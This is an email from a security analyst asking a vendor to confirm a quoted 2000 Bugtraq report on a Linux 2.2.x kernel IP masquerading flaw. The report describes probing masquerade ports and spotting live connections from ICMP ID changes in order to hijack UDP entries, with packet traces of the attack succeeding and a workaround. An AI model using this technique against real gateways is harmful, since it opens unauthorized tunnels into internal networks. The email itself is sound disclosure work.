The purpose of this email is twofold: 1) to inform you of a reported
vulnerability by a third party, not myself,  involving one of your
products, and 2) to obtain confirmation/clarification and knowledge of any
measures taken to address this in the event it is viable.

Below is the report (snipped):

--- Begin report ---

Multiple Linux Vendor 2.2.x Kernel IP Masquerading Vulnerabilities

bugtraq id 1078 class Access Validation Error cve GENERIC-MAP-NOMATCH
remote Yes local No published March 27, 2000 updated March 29, 2000
vulnerable Debian Linux 2.2pre potato
Debian Linux 2.2
Debian Linux 2.1
Linux kernel 2.2.14
Linux kernel 2.2.12
Linux kernel 2.2.10
RedHat Linux 6.2i386
RedHat Linux 6.1 sparc
RedHat Linux 6.1 i386
RedHat Linux 6.1 alpha
RedHat Linux 6.0 sparc
RedHat Linux 6.0 i386
RedHat Linux 6.0 alpha

A serious vulnerability exists in the IP Masquerading code present in, but
not necessarily limited to, the 2.2.x Linux kernel. Due to poor checking
of connections in the kernel code, an attacker can potentially rewrite the
UDP masquerading entries, making it possible for UDP packets to be routed
back to the internal machine.

The IP masquerading code only uses destination ports to determine if a
packet from the external network is to be forwarded to the internal
network. It then sets the remote host and port in its tables to the source
address and port of the incoming packet. The attacker needs to determine
the local port on the masq gateway to be able to rewrite the table with
their own address and port. As the range of ports used to masquerade
connections is small, from 6100 to 65096 for both UDP and TCP, it becomes
fairly easy for an external host to determine the ports in use. From the
Bugtraq post example section:

"We know that example.com has a linux masquerading gateway and that their
DNS server is outside of this firewall. We can come to the conclusion
that internal machines must be able to contact the external DNS server
to be able to access the internet. We start sending our probe packets:

Host A is our internal workstation (192.168.1.100)
Host B is our masq gateway (192.168.1.1 / 10.0.0.1)
Host C is the DNS server (10.0.0.25)
Host X is the attacker (10.10.187.13)

ipchains -L -M -n on the masq gateway BEFORE the probes
> UDP 03:39.21 192.168.1.100 10.0.0.25 1035 (63767) -> 53


[ tcpdump from attacker's machine ]

( we picked source port 12345 for our packets just so the trace would be
easier to follow)

[ snip -- this starts at port 61000 ]

10.0.0.1 > 10.10.187.13: icmp: 10.0.0.1 udp port 63762 unreachable [tos
0xd8] (ttl 245, id 13135)
10.10.187.13.12345 > 10.0.0.1.63763: udp 0 (DF) [tos 0x18] (ttl 254, id
23069)
10.0.0.1 > 10.10.187.13: icmp: 10.0.0.1 udp port 63763 unreachable [tos
0xd8] (ttl 245, id 13136)
10.10.187.13.12345 > 10.0.0.1.63764: udp 0 (DF) [tos 0x18] (ttl 254, id
23070)
10.0.0.1 > 10.10.187.13: icmp: 10.0.0.1 udp port 63764 unreachable [tos
0xd8] (ttl 245, id 13137)
10.10.187.13.12345 > 10.0.0.1.63765: udp 0 (DF) [tos 0x18] (ttl 254, id
23071)
10.0.0.1 > 10.10.187.13: icmp: 10.0.0.1 udp port 63765 unreachable [tos
0xd8] (ttl 245, id 13138)
10.10.187.13.12345 > 10.0.0.1.63766: udp 0 (DF) [tos 0x18] (ttl 254, id
23074)
10.0.0.1 > 10.10.187.13: icmp: 10.0.0.1 udp port 63766 unreachable [tos
0xd8] (ttl 245, id 13139)
10.10.187.13.12345 > 10.0.0.1.63767: udp 0 (DF) [tos 0x18] (ttl 254, id
23083)

10.0.0.1 > 10.10.187.13: icmp: 10.0.0.1 udp port 63767 unreachable [tos
0xd8] (ttl 244, id 17205)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
The above packet's ID is substantially different, we may have found a
masq'd connection !!!

10.10.187.13.12345 > 10.0.0.1.63768: udp 0 (DF) [tos 0x18] (ttl 254, id
23084)
10.0.0.1 > 10.10.187.13: icmp: 10.0.0.1 udp port 63768 unreachable [tos
0xd8] (ttl 245, id 13140)
10.10.187.13.12345 > 10.0.0.1.63769: udp 0 (DF) [tos 0x18] (ttl 254, id
23088)
10.0.0.1 > 10.10.187.13: icmp: 10.0.0.1 udp port 63769 unreachable [tos
0xd8] (ttl 245, id 13141)
10.10.187.13.12345 > 10.0.0.1.63770: udp 0 (DF) [tos 0x18] (ttl 254, id
23090)
10.0.0.1 > 10.10.187.13: icmp: 10.0.0.1 udp port 63770 unreachable [tos
0xd8] (ttl 245, id 13142)
10.10.187.13.12345 > 10.0.0.1.63771: udp 0 (DF) [tos 0x18] (ttl 254, id
23091)
10.0.0.1 > 10.10.187.13: icmp: 10.0.0.1 udp port 63771 unreachable [tos
0xd8] (ttl 245, id 13143)
10.10.187.13.12345 > 10.0.0.1.63771: udp 0 (DF) [tos 0x18] (ttl 254, id
23092)
10.0.0.1 > 10.10.187.13: icmp: 10.0.0.1 udp port 63772 unreachable [tos
0xd8] (ttl 245, id 13144)

[ snip -- all the way to the upper end of our masq ports ]
ipchains -L -M -n on the masq gateway AFTER the probes
> UDP 04:35.12 192.168.1.100 10.10.187.13 1035 (63767) -> 12345
^-------[ expiration of the udp tunnel has been updated ;)

w00t! We now have a working tunnel from our host to port 1035 on the
inside machine!

A possible workaround is to place a caching nameserver on the masquerade
machine, and disable masquerading of UDP packets


--- End report ---


An explanation of my query - I work for Infrastructure Defense, Inc.,
which provides private publications to fortune 500 companies about
information/computer security trends, vulnerabilities, etc. I strive to
contact the appropriate parties whenever there is a question as to the
veracity of a post, claim, other. Hence, my email to you.

I hope to hear from you soon.


Servio Medina - smedina
Information Security Analyst
www.idefense.com